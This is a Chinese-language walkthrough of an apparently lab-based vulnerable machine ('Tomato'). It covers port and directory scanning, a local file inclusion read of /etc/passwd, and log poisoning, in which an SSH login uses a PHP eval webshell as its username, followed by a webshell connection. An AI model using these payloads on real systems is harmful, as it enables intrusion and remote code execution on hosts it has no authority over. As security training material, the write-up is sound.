使用御剑扫描同网段ip
发现目标ip
使用nmap -sS 172.16.1.0/24扫描端口
使用目录扫描工具扫描一下80端口
dirb http://172.16.1.113:80
扫描完毕发现有一个/antibot_image路径尝试访问一下看看
发现可以进行目录遍历 接下来我们在目录中寻找有价值信息
发现phpinfo
右键源代码看看
发现include,可以使用文件包含漏洞
因为前面我们看到了这个靶机是linux系统,(Ubuntu的嘛),所以我们可以使用一下linux的特性,去尝试看一下/etc/passwd文件,这个文件是存放linux系统用户的地方(用?image去传递我们想要加的参数).
http://172.16.1.113/antibot_image/antibots/info.php?image=/etc/passwd
发现我们成功的查看到了/etc/passwd文件的内容。
这里我们看到了有一个用户Tomato的uid为1000(我们linux主机创建的第一个用户的uid为1000),且它的shell为/bin/bash(说明可以分配终端),再结合我们前面扫到的2211远程连接端口,说明这个用户是可以被远程连接的,我们知道了用户名,知道了端口号,知道了ip地址,就差密码就可以远程连接这个靶机了,既然前面可以看/etc/passwd,我们也可以看一下/etc/shadow文件,这样密码也知道了
发现看不了这个/etc/shadow文件,这条路断了。
我们直接连不上的话,我们可以尝试一下报错远程连接(原理是我们构造一个报错连接,把一句话木马构造进去,之后我们访问靶机报错日志,如果我们构造的报错连接被日志记录且保存下来了,那么当我们查看这个报错日志的时候,就相当于木马被写入了报错日里,我们就可以用远程连接工具(蚁剑,菜刀,冰蝎等远程工具去连接了。
ssh远程连接的命令格式: ssh 用户名@主机号 -p 端口号
ssh '<?php @eval($_POST[1]);?>'@172.16.1.113 -p 2211
可以发现我们用一句话木马代替了要连接的用户名,构造了一个错误的连接。
蚁剑连接